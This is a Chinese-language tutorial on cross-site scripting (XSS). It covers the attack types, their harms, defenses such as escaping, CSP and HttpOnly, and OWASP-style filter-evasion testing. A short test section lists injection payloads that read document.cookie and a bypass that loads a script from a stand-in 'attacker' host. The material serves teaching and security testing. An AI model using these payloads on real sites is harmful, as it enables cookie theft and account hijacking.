前端安全之-XSS(跨站脚本攻击)详解

一.XSS的基本概念

XSS又叫CSS (Cross Site Script) ，为了和css(层叠样式表)区分，我们通常称它为(xss)跨站脚本攻击。它指的是恶意攻击者往Web页面里插入恶意html代码，当用户浏览该页之时，嵌入其中Web里面的html代码会被执行，从而达到恶意的特殊目的。

xss是一种发生在web前端的漏洞，所以其危害的对象也主要是前端用户.在OWASP Web Application Top 10排行榜中长期霸榜，从未掉出过前三名。XSS这类安全问题发生的本质原因在于，浏览器错误的将攻击者提供的用户输入数据当做JavaScript脚本给执行了。

XSS有几种不同的分类办法，例如按照恶意输入的脚本是否在应用中存储，XSS被划分为“存储型XSS”和“反射型XSS”，如果按照是否和服务器有交互，又可以划分为“Server Side XSS”和“DOM based XSS”。

二、XSS攻击的主要途径

XSS攻击方法只是利用HTML的属性，作各种的尝试，找出注入的方法。现在对三种主要方式进行分析。
1.第一种：对普通的用户输入，页面原样输出，用户通过对JSCODE的伪装，经过一些操作就会跳出一个木马界面，取得登录用户的Cookie.
2.第二种：在代码区里有用户输入的内容
原则就是，代码区中，绝对不应含有用户输入的东西。
3.第三种：允许用户输入HTML标签的页面。
用户可以提交一些自定义的HTML代码，这种情况是最危险的。因为，IE浏览器默认采用的是UNICODE编码，HTML编码可以用&#ASCII方式来写，又可以使用”/”连接16进制字符串来写，使得过滤变得异常复杂

三、XSS攻击的危害包括：

（1）窃取管理员帐号或Cookie，入侵者可以冒充管理员的身份登录后台。使得入侵者具有恶意操纵后台数据的能力，包括读取、更改、添加、删除一些信息。
（2）窃取用户的个人信息或者登录帐号，对网站的用户安全产生巨大的威胁。例如冒充用户身份进行各种操作。
（3）网站挂马。先将恶意攻击代码嵌入到Web应用程序之中。当用户浏览该挂马页面时，用户的计算机会被植入木马。
（4）发送广告或者垃圾信息。攻击者可以利用XSS漏洞植入广告，或者发送垃圾信息，严重影响到用户的正常使用。

（5）控制受害者机器向其它网站发起攻击

四、XSS的分类

XSS可以分为三种：反射型XSS（非持久型）、存储型XSS（持久型）和DOM XSS。

反射型XSS

用户在请求某条URL地址的时候，会携带一部分数据。当客户端进行访问某条链接时，攻击者可以将恶意代码植入到URL，如果服务端未对URL携带的参数做判断或者过滤处理，直接返回响应页面，那么XSS攻击代码就会一起被传输到用户的浏览器，从而触发反射型XSS。

例如，当用户进行搜索时，返回结果通常会包括用户原始的搜索内容，如果攻击者精心构造包含XSS恶意代码的链接，诱导用户点击并成功执行后，用户的信息就可以被窃取，甚至可以模拟用户进行一些操作。它的利用过程如图所示。

反射型XSS不会永久存储用户的数据，仅发生在用户的一次访问过程之后。这个过程就像一次反射，因此得名反射型XSS。反射型XSS的触发条件比较苛刻，需要攻击者想方设法引导用户点击链接，但产生的危害不容忽视。

存储型XSS

存储型XSS和反射型XSS的差别仅在于，提交的代码会存储在服务器端（数据库、内存、文件系统等），下次请求目标页面时不用再提交XSS代码。最典型的例子就是留言板XSS，用户提交一条包含XSS代码的留言存储到数据库，目标用户查看留言板时，那些留言就会从数据库中加载出来并显示，于是出发了XSS攻击

DOM XSS

DOM XSS和反射型XSS、存储型XSS的区别在于DOM XSS代码并不需要服务器参与，出发XSS靠的是浏览器的DOM解析，完全是客户端的事情，文档型的 XSS 攻击并不会经过服务端，而是作为中间人的角色，在数据传输过程劫持到网络数据包，然后修改里面的 html 文档，这样的劫持方式包括WIFI路由器劫持或者本地恶意软件等。

五、防范措施

明白了三种XSS攻击的原理，我们能发现一个共同点 都是:让恶意脚本直接能在浏览器中执行。那么要防范它，就是要避免这些脚本代码的执行。
简单来讲就是永远不要相信任何用户的输入！
无论是在前端和服务端，都要对用户的输入进行转码或者过滤。

当然也可以利用关键词过滤的方式，将 script 标签给删除。那么现在的内容只剩下:
什么也没有了:）

利用 CSP

CSP，即浏览器中的内容安全策略，它的核心思想就是服务器决定浏览器加载哪些资源，具体来说可以完成以下功能:

限制其他域下的资源加载。
禁止向其它域提交数据。
提供上报机制，能帮助我们及时发现 XSS 攻击。

利用 HttpOnly

很多 XSS 攻击脚本都是用来窃取Cookie, 而设置 Cookie 的 HttpOnly 属性后，JavaScript 便无法读取 Cookie 的值。这样也能很好的防范 XSS 攻击。

防御手册

https://www.owasp.org/index.php/XSS_(Cross_Site_Scripting)_Prevention_Cheat_Sheet
自动检测dom缺陷的chrome插件 http://code.google.com/p/domsnitch/

****    XSS过滤绕过
请参考 https://www.owasp.org/index.php/XSS_Filter_Evasion_Cheat_Sheet。
        当网站应用清理输入、网站应用防火墙或浏览器内置的机制阻止恶意输入时，反射型xss就会被阻拦。但是测试者必须假定浏览器不会
阻拦这类攻击，比如版本陈旧、内置安全功能被禁用等，并测试所有可能的漏洞。类似的，网站防火墙不能保证识别新奇的、未知的攻击。
攻击者能构造防火墙无法识别的攻击字符串。
        因此，防御xss攻击主要依赖网站应用清理不可信任的用户输入。有几种清理办法，比如返回错误、过滤或转义关键字。同时这些预防手段
也造就了另外一个弱点：黑名单不可能囊括所有可能的攻击字符串、白名单可能过渡授权，这时清理就会失败，导致某类输入被不正确的信任
并未被清理。

****    攻击测试的例子
    -   http://example.com/index.php?user=
    -   http://example.com/index.php?user=
    -   标签属性值
        
        " onfocus="alert(document.cookie)
    -   不同的语法或编码
        ">
            "%3cscript%3ealert(document.cookie)%3c/script%3e
    -   非递归性过滤
        ipt>alert(document.cookie)
    -   绕过正则过滤
        模式串 $re = "/]+src/i";
        添加额外的属性，绕过  http://example/?var="%20SRC="http://attacker/xss.js">
    -   HTTP parameter pollution
        https://www.owasp.org/index.php/Testing_for_HTTP_Parameter_pollution_(OTG-INPVAL-004)
        http参数污染，查询字符串或表单提交的参数中某个同名参数出现了多次，apache等web服务器解析协议参数时的方式各异，
        网站应用程序的各个组件所使用的参数值不一致。


**  存储型XSS测试
*** 概述
        存储型XSS是最危险的跨站脚本攻击。网站应用程序允许用户存储数据，这类网站就潜在的暴露在这类攻击面前。
当网站应用从用户那里搜集输入的数据，然后存储起来以备后用，但这些输入没有经过正确的过滤，结果恶意数据被做为网站
页面的一部分得以呈现，并运行在用户浏览器中且拥有网站应用程序所属用户的权限。
        这种漏洞可以被用来实施基于浏览器的攻击：
            -   劫持用户浏览器
            -   捕获用户所浏览的网站敏感信息
            -   对内网主机进行端口扫描
            -   基于浏览器利用的定向投递
        存储型xss不需要利用恶意链接，用户访问某个加载了之前存储的xss代码的页面时就会触发。攻击场景一般有下面几个阶段：
            -   攻击者存储恶意代码到由漏洞的页面
            -   用户通过应用程序的身份认证
            -   用户访问漏洞页面
            -   恶意代码被用户的浏览器执行
        这类攻击可以结合浏览器利用框架比如beef、xss prox、backframe。这些框架允许复杂的脚本利用开发。
        当访问漏洞页面的用户有比较高的权限时，这类攻击特别危险。比如当管理员访问漏洞页面时，这类攻击就自动被浏览器执行。
这就可能暴露敏感信息比如会话令牌。


*** 如何测试
****    黑盒测试
        识别存储型漏洞的过程和之前测试反射型漏洞类似。
 
*****   输入表单
    第一步是找出哪些地方的用户输入会被存储到后端并会被渲染显示在前端。典型的存储用户输入的地方有：
        -   用户|配置，网站应用允许用户修改个人配置详细信息，比如姓名、昵称、头像、地址等；
        -   购物篮，
        -   文件管理器，应用程序允许文件上传
        -   应用程序偏好设置
        -   论坛|消息面板，允许用户之间互相发送消息
        -   博客，允许用户留言评论
        -   日志，如果网站应用将某些用户的输入存进日志

*****   分析HTML代码
    用户输入被网站应用存储后，一般会在显示时当做html标签的属性值。这一步中，最根本的是去理解输入部分被渲染显示时，
在页面上下文中是怎么被安放的。所有可能被管理员看到的输入部分都需要被测试。
比如，后台用户管理中某个用户的详细信息，有邮件：
    
这时，可以在标签后面注入恶意代码：
     MALICIOUS CODE 
                    

                    
                    
                    

                

你可能感兴趣的:(知识总结)

• 数据结构核心知识总结：从基础到应用 算法练习生 数据结构数据结构学习笔记算法排序算法
  数据结构核心知识总结：从基础到应用数据结构是计算机科学中组织和存储数据的核心方式，直接影响程序的性能和资源利用率。本文系统梳理常见数据结构及其应用场景，帮助读者构建清晰的知识体系。一、数据结构基础概念数据结构是数据元素之间逻辑关系的抽象表示，包含以下三要素：逻辑结构：数据元素间的抽象关系（集合/线性/树形/图状）存储结构：数据在内存中的物理存储方式（顺序/链式）操作集合：增删改查等基本操作二、常见
• Java 基础知识经典全面总结：从入门到精通的必备指南
  以下是一篇关于Java基础知识的总结文章，包含了技术方案和应用实例，帮助你学习Java：Java基础知识总结Java是一种广泛应用的高级编程语言，具有跨平台、面向对象等诸多特性。以下是对其基础知识的详细总结：Java语言核心特性面向对象：以“对象”为中心，将事物抽象为具有属性和方法的实例。如设计Car类，可封装品牌、速度等属性，以及启动、刹车等方法。平台无关：Java字节码可在不同操作系统和硬件上
• 最新Java学习路线总结，搬砖工逆袭Java架构师 2401_84266286 程序员java学习开发语言
  |一文读懂JVM类加载机制过程及原理||跟同事杠上了，ApacheBeanutils为什么被禁止使用？||Java中常见的编码集问题||为什么人们宁可用Lombok，也不把成员设为public？|2、java集合【Java集合1】Java集合基础知识总结（绝对经典）【Java集合2】List遍历删除元素remove()")【Java集合3】List＜T＞和List＜?＞的区别【Java集合4】Ja
• HCL 三层知识总结
  HCL三层知识总结一、网络层基础1.1网络层的核心功能网络层位于数据链路层之上，主要负责跨网络的数据包转发，实现不同网段（广播域）之间的通信。其核心功能包括：寻址与路由：通过IP地址标识网络中的主机，并选择最佳路径将数据包从源端发送到目的端。分段与重组：当数据包大小超过底层链路的MTU（最大传输单元）时，将其分割为更小的片段，到达目的端后重新组合。拥塞控制：通过流量调节避免网络因过载而瘫痪（HCL
• 软件测试基础知识总结（超详细的） 天才测试猿 测试工具职场和发展软件测试自动化测试单元测试测试用例功能测试
  一、软件测试概述1、什么是软件定义：计算机系统中与硬件相互依存的一部分（程序+数据+相关文档）程序：按事先设计的功能和性能要求执行的指令序列数据：使程序能正常操纵信息的数据结构文档：与程序开发、维护和使用有关的图文资料2、软件工程的内容主要分为软件开发技术（方法+过程+工具+环境）和软件开发管理3、软件的生命周期可行性研究和计划（立项）需求分析概要设计（测试计划）详细设计（测试方案）实现（开发阶段
• C/C++ 知识总结 灿烂阳光g 后端
  目录C/C++STL数据结构算法Problems操作系统计算机网络网络编程数据库设计模式链接装载库海量数据处理音视频其他书籍复习刷题网站招聘时间岗位面试题目经验C/C++const作用修饰变量，说明该变量不可以被改变；修饰指针，分为指向常量的指针和指针常量；常量引用，经常用于形参类型，即避免了拷贝，又避免了函数对值的修改；修饰成员函数，说明该成员函数内不能修改成员变量。使用const使用stati
• CSS基础知识总结复习 天山小雏菊 知识总结复习csscss3前端
  一、CSS定义CSS是用来定义页面元素的样式设置字体与颜色设置位置和大小添加动画效果二、CSS基本规则的结构h1{/*选择器h1(给页面所有的h1定义样式)*/color:white;/*属性color:属性值white*/font-size:14px;/*属性:属性值就是一个声明*/}三、在页面中使用CSS的方法外链嵌入p{margin:2px;}内联hello四、选择器选择元素的方式按照标签名
• 算法设计与分析 知识总结 vortex5 算法
  一、算法基础算法是对特定问题求解步骤的描述，是指令的有限序列，具有输入、输出、有穷性、确定性和可行性五个性质。程序则是算法用某种编程语言的具体实现。优秀的算法应具备正确性、健壮性、可理解性、抽象分级和高效性，其中时间复杂度是衡量算法效率的重要标准。常用的时间复杂度符号包括O（上界）、Ω（下界）和Θ（紧确界）。1.1时间复杂度分析非递归算法以嵌套循环为例，分析以下代码的时间复杂度：for(i=1;i
• Java NIO 核心知识总结
  NIO简介在传统的JavaI/O模型（BIO）中，I/O操作是以阻塞的方式进行的。也就是说，当一个线程执行一个I/O操作时，它会被阻塞直到操作完成。这种阻塞模型在处理多个并发连接时可能会导致性能瓶颈，因为需要为每个连接创建一个线程，而线程的创建和切换都是有开销的。为了解决这个问题，在Java1.4版本引入了一种新的I/O模型—NIO（NewIO，也称为Non-blockingIO）。NIO弥补了同
• TinyWebserver学习(6)-线程监听函数eventListen() THMOM91 c++
  六、线程监听函数eventListen()一、相关知识总结1、setsockopt()函数setsockopt是用于设置套接字（socket）选项的系统调用，允许应用程序对套接字的行为进行更细粒度的控制。它通常用于配置网络通信的参数，例如超时、缓冲区大小、地址复用等。以下是详细的解析#include#includeintsetsockopt(intsockfd,intlevel,intoptnam
• 区块链知识总结——POS权益证明 The_Killer. 区块链
  背景：pow由于其对资源的消耗而饱受争议。由此引入pos权益证明：posVSpow优缺点：1.节能2.pos是闭环生态，pow是开源生态。pos天然防范了51%攻击解释：pow之下，attacker可以在现实世界中购买矿机，来增加算力以达到51%attack目的，而pos下attacker必须购买更多的加密货币（相当于成为股东），才有发动attack的能力，但此时对币的开发者和早起的矿工其实是受益
• RISC-V知识总结 —— 指令集 思诺学长-刘竞泽 risc-v
  资源1:RISC-VChina–RISC-VInternational资源2:RISC-VInternational–RISC-V:TheOpenStandardRISCInstructionSetArchitecture资源3:RV32I,RV64IInstructions—riscv-isa-pagesdocumentation1.指令集架构的类型在讨论RISC-V或任何处理器架构时，区分非特
• 学习笔记03——《深入理解Java虚拟机（第三版）》类加载机制知识总结与面试核心要点 码代码的小仙女 高级开发必备技能java知识学习笔记java
  《深入理解Java虚拟机（第三版）》类加载机制知识总结与面试核心要点一、章节核心脉络核心命题：JVM如何将.class文件加载到内存并转换为运行时数据结构？核心流程：加载→验证→准备→解析→初始化→使用→卸载三大核心机制：类加载过程（双亲委派模型）类初始化触发条件（主动引用vs被动引用）类加载器体系（Bootstrap、Extension、Application、自定义加载器）二、类加载机制深度解
• 数据库基础知识总结 代码中の快捷键 数据库oracle
  一、数据库简介数据库是按照数据结构来组织、存储和管理数据的仓库。它就像是一个精心设计的文件柜，用于存放海量的数据信息，并且能够方便地对这些数据进行操作和检索。在当今数字化的时代，数据库在各个领域都有着至关重要的作用，无论是企业的资源管理、互联网应用的数据存储，还是金融系统的交易记录等，都离不开数据库的支持。二、数据库模型层次模型这是一种以树形结构来组织数据的模型。它有一个根节点，每个父节点可以有多
• 深度学习基础知识总结
  1.BatchNorm2d加速收敛：BatchNormalization可以使每层的输入保持较稳定的分布（接近标准正态分布），减少梯度更新时的震荡问题，从而加快模型训练速度。减轻过拟合：批归一化引入了轻微的正则化效果，因为它依赖于mini-batch中的统计信息，这种方式可以减少对单个样本的过度拟合。提高模型性能：在训练过程中，BatchNormalization通过动态调整激活值的分布，让模型更
• Java线程池中队列常用类型有哪些？它们的技术实现原理是什么，使用场景分别有哪些？ 程序员大辉 java开发语言
  我准备了一份10万字的java全面知识总结领取：https://pan.quark.cn/s/4e6e3d03407a队列在线程池中的核心作用线程池使用队列缓存待执行的任务。当核心线程都在忙碌时，新任务就进入队列等待。队列选择直接影响线程池的执行策略和性能表现。ArrayBlockingQueue：固定容量的阻塞队列技术实现原理ArrayBlockingQueue基于数组实现，内部使用Reentr
• 文件操作知识总结
  一.为什么使用文件文件是存在电脑的硬盘上的，使用文件是为了将数据进行"持久化"的保存(这里只要硬盘不损坏，数据就会一直存在），如果没有文件，退出程序，数据就会被销毁二.什么是文件文件：磁盘（硬盘）上的文件就是文件，在程序设计中，文件分为程序文件和数据文件（从文件功能分类）1.程序文件包括源程序文件（.c）,目标文件（.obj）（Windows），可执行文件（.exe）2.数据文件存的是程序运行时读
• c++重点知识总结 瓦特what？ 随笔java开发语言c++程序员创富算法windows
  只是为方便学习，不做其他用途，原作者为黑马程序一、const与指针const修饰指针有三种情况const修饰指针—常量指针const修饰常量—指针常量const即修饰指针，又修饰常量intmain(){inta=10;intb=10;//const修饰的是指针，指针指向可以改，指针指向的值不可以更改constint*p1=&a;p1=&b;//正确//*p1=100;报错//const修饰的是常量
• android知识总结 只是当时已惘然—— android
  Activity启动模式standard(标准模式)每次启动该Activity（例如，通过startActivity()），系统总会创建一个新的实例，并将其放入调用者（启动它的那个Activity）所在的任务栈中。singleTop(栈顶复用模式)如果要启动的Activity已经位于调用者任务栈的栈顶，系统不会创建新实例，而是通过调用该已有实例的onNewIntent()方法将新的Intent传递
• Kafka 基础入门
  文章内容是学习过程中的知识总结，如有纰漏，欢迎指正文章目录前言1.核心概念1.1Producer1.2broker1.3consumer1.4zookeeper1.5controller1.6Cluster2.逻辑组件2.1Topic2.2Partition2.3Replication2.4leader&follower3.消费模型3.1推模式优点缺点3.2拉模式优点缺点3.3Kafka是什么模式
• 计算机网络--面试总结四（HTTP、RPC、WebSocket、SSE） 阿东日志 计算机网络面试httprpcwebsocket
  当前：计算机网络--面试总结四（HTTP、RPC、WebSocket、SSE）计算机网络--面试知识总结一计算机网络-----面试知识总结二计算机网络--面试总结三（Http与Https）知识积累之ThreadLocal---InheritableThreadLocal总结HTTP和RPCRPC的特点：1、调用方便：调用远程服务就像调用本地方法一样2、性能较好：RPC通常使用二进制进行传输，这样可
• Java基本数据类型、抽象类和接口、枚举、时间类、String类全面介绍 小白写代码hh java基础知识时间类String类枚举类
  JAVA基本数据类型知识总结基本数据类型（PrimitiveTypes）类型占用字节默认值范围示例byte10-128~127bytea=100;short20-32,768~32,767shortb=2000;int40-2³¹~2³¹-1intc=100000;long80L-2⁶³~2⁶³-1longd=10000000000L;float40.0f~7位小数floate=3.14f;dou
• 计算机组成原理复习1 WangAnChuan0033 开发语言
  计算机基础知识总结：寄存器、地址寄存器、相联存储器、SRAM/DRAM等通俗解析关键词：寄存器、地址寄存器、相联存储器、Cache、SRAM、DRAM、8位数据处理一、寄存器、内存、Cache：存取速度对比计算机的存储器按访问速度分为多个层级：存储类型材质/结构相对速度用途寄存器触发器最快CPU内部操作的“工作台”CacheSRAM很快缓存内存常用数据主存（内存）DRAM较慢存放程序和数据，容量大
• iOS知识总结 clumsypanda 计算机面试复习总结ios总结知识
  准备工作之余，还是妄想着写些什么，一来可以加强自己的记忆，二来可以分享给大家看看，希望大家提出建议，补充补充，一起进步。下面是我看了一些资料对iOS复习要点的一些总结，说是原创，其实也是从不同的地方阅读来，自己做个总结。因为实在是大量记在笔记本上的，也不记得出处，若有版权问题，请回复我，若真实，必定加上链接（依稀记得有些从http://www.itmian4.com/看来）。ARC和None-AR
• C++STL---priority_queue知识总结及模拟实现 tsyist c++开发语言stl数据结构优先级队列模拟实现priority_queue
  前言和stack与queue一样，priority_queue也是一种容器适配器。他的本质其实是堆，作优先级队列的底层需要能够通过随机迭代器访问，所以他的底层是可以由vector和queue实例化，默认情况下priority_queue默认是用vector作为底层实例化，此外我们还可以特指定deque作为他的底层进行实例化。需要支持随即迭代器，是因为要始终维持堆，优先级队列的本质就是堆。容器适配器
• Zookeeper知识总结 sofency 大数据java-zookeeperzookeeper数据库
  zookeeper是一个开源的分布式的,为分布式应用提供协调服务的apache项目;工作机制:zookeeper从设计模式来理解:是一个基于观察者模式设计的分布式服务管理框架,她负责存储和管理大家都关心的数据,然后接收观察者的注册,一旦这些数据的状态发生变化zookeeper就将负责通知已经在zookeeper上注册的哪些观察者做出相应的反应;zookeeper=文件系统+消息通知机制zookee
• 《银行数字化风控-业务于实战》读后知识总结 王子文-上海 风控银行风控java大数据
  引言在金融科技高速发展的今天，银行的风控体系正经历从“人工经验驱动”向“数据智能驱动”的深刻变革。《银行数字化风控-业务于实战》一书以实战为导向，系统性地剖析了数字化风控的核心逻辑、技术实现路径及业务落地方法论。作为深耕风控领域多年的从业者，我通过本书不仅验证了自身对风控业务的理解，更从技术架构、模型设计、场景适配等维度获得了新的启发。以下从核心概念、技术实现、实战案例三个层面展开总结，并结合个人
• ES6基础知识总结 小白6402 前端前端JS\TSjavascript开发语言es6
  一、ES6介绍1.ES6介绍ES6是ES2015、ES2016、ES2017他们的统称官方名字：《ECMAScript2015标准》=>ES62.包管理机制（npm）1)初始化项目npminit-y初始化项目（不询问项目信息）2)安装依赖全局依赖（在电脑的C盘保存依赖的源码）cnpminstallxxx--global简写：cnpmixxx-g局部依赖（在项目的根目录下保存依赖源码信息）开发依赖c
• 数据仓库基础知识总结 数字天下 数据仓库
  1、什么是数据仓库？权威定义：数据仓库是一个面向主题的、集成的、相对稳定的、反映历史变化的数据集合，用于支持管理决策。1）数据仓库是用于支持决策、面向分析型数据处理；2）对多个异构的数据源有效集成，集成后按照主题进行重组，并包含历史数据，而且存放在数据仓库中的数据一般不再修改。面对大数据的多样性，在存储和处理这些大数据时，我们就必须要知道两个重要的技术。分别是：数据仓库技术、Hadoop。当数据为
• Missashe考研日记—Day44-Day50 LVerrrr 考研备考考研学习
  Missashe考研日记—Day44-Day50写在面前本系列博客用于记录博主一周的学习进度，具体知识总结在目前已有的笔记中：1.高数强化学习笔记2.计网复习笔记3.新增：线代题型总结专业课408这周先是把计网第三章数据链路层剩下的局域网以及之后的内容学完了，第三章挺重要的；接着就是开第四章网络层的内容，花了几天把网络层也给结束了，这一章算是计网的核心内容；最后两天开第五章传输层的内容，这一章经过
• JVM StackMapTable 属性的作用及理解 lijingyao8206 jvm字节码Class文件StackMapTable
          在Java 6版本之后JVM引入了栈图(Stack Map Table)概念。为了提高验证过程的效率，在字节码规范中添加了Stack Map Table属性，以下简称栈图，其方法的code属性中存储了局部变量和操作数的类型验证以及字节码的偏移量。也就是一个method需要且仅对应一个Stack Map Table。在Java 7版
• 回调函数调用方法 百合不是茶 java
  最近在看大神写的代码时,.发现其中使用了很多的回调 ,以前只是在学习的时候经常用到 ,现在写个笔记 记录一下   代码很简单:           MainDemo  :调用方法  得到方法的返回结果        
• [时间机器]制造时间机器需要一些材料 comsci 制造
        根据我的计算和推测,要完全实现制造一台时间机器,需要某些我们这个世界不存在的物质     和材料...       甚至可以这样说,这种材料和物质,我们在反应堆中也无法获得......      
• 开口埋怨不如闭口做事 邓集海 邓集海 做人 做事 工作
  “开口埋怨，不如闭口做事。”不是名人名言，而是一个普通父亲对儿子的训导。但是，因为这句训导，这位普通父亲却造就了一个名人儿子。这位普通父亲造就的名人儿子，叫张明正。 　　 　　张明正出身贫寒，读书时成绩差，常挨老师批评。高中毕业，张明正连普通大学的分数线都没上。高考成绩出来后，平时开口怨这怨那的张明正，不从自身找原因，而是不停地埋怨自己家庭条件不好、埋怨父母没有给他创造良好的学习环境。 　　 　　
• jQuery插件开发全解析，类级别与对象级别开发 IT独行者 jquery开发插件　函数
  jQuery插件的开发包括两种： 一种是类级别的插件开发，即给 jQuery添加新的全局函数，相当于给 jQuery类本身添加方法。 jQuery的全局函数就是属于 jQuery命名空间的函数，另一种是对象级别的插件开发，即给 jQuery对象添加方法。下面就两种函数的开发做详细的说明。   1 、类级别的插件开发 类级别的插件开发最直接的理解就是给jQuer
• Rome解析Rss 413277409 Rome解析Rss
  import java.net.URL;  import java.util.List;    import org.junit.Test;    import com.sun.syndication.feed.synd.SyndCategory;  import com.sun.syndication.feed.synd.S
• RSA加密解密 无量 加密解密rsa
  RSA加密解密代码 代码有待整理 package com.tongbanjie.commons.util; import java.security.Key; import java.security.KeyFactory; import java.security.KeyPair; import java.security.KeyPairGenerat
• linux 软件安装遇到的问题 aichenglong linux遇到的问题ftp
  1 ftp配置中遇到的问题    500 OOPS: cannot change directory   出现该问题的原因:是SELinux安装机制的问题.只要disable SELinux就可以了   修改方法:1 修改/etc/selinux/config 中SELINUX=disabled    2 source /etc
• 面试心得 alafqq 面试
  最近面试了好几家公司。记录下； 支付宝，面试我的人胖胖的，看着人挺好的；博彦外包的职位，面试失败； 阿里金融，面试官人也挺和善，只不过我让他吐血了。。。 由于印象比较深，记录下； 1，自我介绍 2，说下八种基本类型；（算上string。楼主才答了3种，哈哈，string其实不是基本类型，是引用类型） 3，什么是包装类，包装类的优点； 4，平时看过什么书？NND，什么书都没看过。。照样
• java的多态性探讨 百合不是茶 java
  java的多态性是指main方法在调用属性的时候类可以对这一属性做出反应的情况 //package 1; class A{ public void test(){ System.out.println("A"); } } class D extends A{ public void test(){ S
• 网络编程基础篇之JavaScript-学习笔记 bijian1013 JavaScript
  1.documentWrite <html> <head> <script language="JavaScript"> document.write("这是电脑网络学校"); document.close(); </script> </h
• 探索JUnit4扩展：深入Rule bijian1013 JUnitRule单元测试
          本文将进一步探究Rule的应用，展示如何使用Rule来替代@BeforeClass，@AfterClass，@Before和@After的功能。         在上一篇中提到，可以使用Rule替代现有的大部分Runner扩展，而且也不提倡对Runner中的withBefores()，withAfte
• [CSS]CSS浮动十五条规则 bit1129 css
  这些浮动规则，主要是参考CSS权威指南关于浮动规则的总结，然后添加一些简单的例子以验证和理解这些规则。   1. 所有的页面元素都可以浮动 2. 一个元素浮动后，会成为块级元素，比如<span>,a, strong等都会变成块级元素 3.一个元素左浮动，会向最近的块级父元素的左上角移动，直到浮动元素的左外边界碰到块级父元素的左内边界；如果这个块级父元素已经有浮动元素停靠了
• 【Kafka六】Kafka Producer和Consumer多Broker、多Partition场景 bit1129 partition
  0.Kafka服务器配置 3个broker 1个topic，6个partition，副本因子是2 2个consumer，每个consumer三个线程并发读取   1. Producer package kafka.examples.multibrokers.producers; import java.util.Properties; import java.util.
• zabbix_agentd.conf配置文件详解 ronin47 zabbix 配置文件
  Aliaskey的别名，例如 Alias=ttlsa.userid:vfs.file.regexp[/etc/passwd,^ttlsa:.:([0-9]+),,,,\1]， 或者ttlsa的用户ID。你可以使用key：vfs.file.regexp[/etc/passwd,^ttlsa:.: ([0-9]+),,,,\1]，也可以使用ttlsa.userid。备注: 别名不能重复，但是可以有多个
• java--19.用矩阵求Fibonacci数列的第N项 bylijinnan fibonacci
  参考了网上的思路，写了个Java版的： public class Fibonacci { final static int[] A={1,1,1,0}; public static void main(String[] args) { int n=7; for(int i=0;i<=n;i++){ int f=fibonac
• Netty源码学习-LengthFieldBasedFrameDecoder bylijinnan javanetty
  先看看LengthFieldBasedFrameDecoder的官方API http://docs.jboss.org/netty/3.1/api/org/jboss/netty/handler/codec/frame/LengthFieldBasedFrameDecoder.html API举例说明了LengthFieldBasedFrameDecoder的解析机制，如下： 实
• AES加密解密 chicony 加密解密
  AES加解密算法，使用Base64做转码以及辅助加密： package com.wintv.common; import javax.crypto.Cipher; import javax.crypto.spec.IvParameterSpec; import javax.crypto.spec.SecretKeySpec; import sun.misc.BASE64Decod
• 文件编码格式转换 ctrain 编码格式
  package com.test; import java.io.File; import java.io.FileInputStream; import java.io.FileOutputStream; import java.io.IOException; import java.io.InputStream; import java.io.OutputStream;
• mysql 在linux客户端插入数据中文乱码 daizj mysql中文乱码
  1、查看系统客户端，数据库，连接层的编码  查看方法： http://daizj.iteye.com/blog/2174993 进入mysql，通过如下命令查看数据库编码方式： mysql>  show variables like 'character_set_%'; +--------------------------+------
• 好代码是廉价的代码 dcj3sjt126com 程序员读书
    长久以来我一直主张：好代码是廉价的代码。 当我跟做开发的同事说出这话时，他们的第一反应是一种惊愕，然后是将近一个星期的嘲笑，把它当作一个笑话来讲。 当他们走近看我的表情、知道我是认真的时，才收敛一点。 当最初的惊愕消退后，他们会用一些这样的话来反驳： “好代码不廉价，好代码是采用经过数十年计算机科学研究和积累得出的最佳实践设计模式和方法论建立起来的精心制作的程序代码。” 我只
• Android网络请求库——android-async-http dcj3sjt126com android
  在iOS开发中有大名鼎鼎的ASIHttpRequest库，用来处理网络请求操作，今天要介绍的是一个在Android上同样强大的网络请求库android-async-http，目前非常火的应用Instagram和Pinterest的Android版就是用的这个网络请求库。这个网络请求库是基于Apache HttpClient库之上的一个异步网络请求处理库，网络处理均基于Android的非UI线程，通
• ORACLE 复习笔记之SQL语句的优化 eksliang SQL优化Oracle sql语句优化SQL语句的优化
  转载请出自出处：http://eksliang.iteye.com/blog/2097999   SQL语句的优化总结如下   sql语句的优化可以按照如下六个步骤进行： 合理使用索引 避免或者简化排序 消除对大表的扫描 避免复杂的通配符匹配 调整子查询的性能 EXISTS和IN运算符 下面我就按照上面这六个步骤分别进行总结：
• 浅析：Android 嵌套滑动机制（NestedScrolling） gg163 android移动开发滑动机制嵌套
  谷歌在发布安卓 Lollipop版本之后，为了更好的用户体验，Google为Android的滑动机制提供了NestedScrolling特性 NestedScrolling的特性可以体现在哪里呢？<!--[if !supportLineBreakNewLine]--><!--[endif]--> 比如你使用了Toolbar，下面一个ScrollView，向上滚
• 使用hovertree菜单作为后台导航 hvt JavaScriptjquery.nethovertreeasp.net
    hovertree是一个jquery菜单插件，官方网址：http://keleyi.com/jq/hovertree/ ，可以登录该网址体验效果。 0.1.3版本：http://keleyi.com/jq/hovertree/demo/demo.0.1.3.htm hovertree插件包含文件： http://keleyi.com/jq/hovertree/css
• SVG 教程 （二）矩形 天梯梦 svg
  SVG <rect> SVG Shapes SVG有一些预定义的形状元素，可被开发者使用和操作： 矩形 <rect> 圆形 <circle> 椭圆 <ellipse> 线 <line> 折线 <polyline> 多边形 <polygon> 路径 <path>
• 一个简单的队列 luyulong java数据结构队列
  public class MyQueue { private long[] arr; private int front; private int end; // 有效数据的大小 private int elements; public MyQueue() { arr = new long[10]; elements = 0; front
• 基础数据结构和算法九：Binary Search Tree sunwinner Algorithm
    A binary search tree (BST) is a binary tree where each node has a Comparable key (and an associated value) and satisfies the restriction that the key in any node is larger than the keys in all
• 项目出现的一些问题和体会 Steven-Walker DAOWebservlet
       第一篇博客不知道要写点什么，就先来点近阶段的感悟吧。     这几天学了servlet和数据库等知识，就参照老方的视频写了一个简单的增删改查的，完成了最简单的一些功能，使用了三层架构。 dao层完成的是对数据库具体的功能实现，service层调用了dao层的实现方法，具体对servlet提供支持。  &
• 高手问答：Java老A带你全面提升Java单兵作战能力！ ITeye管理员 java
  本期特邀《Java特种兵》作者：谢宇，CSDN论坛ID: xieyuooo 针对JAVA问题给予大家解答，欢迎网友积极提问，与专家一起讨论! 作者简介： 淘宝网资深Java工程师，CSDN超人气博主，人称“胖哥”。 CSDN博客地址： http://blog.csdn.net/xieyuooo 作者在进入大学前是一个不折不扣的计算机白痴，曾经被人笑话过不懂鼠标是什么，

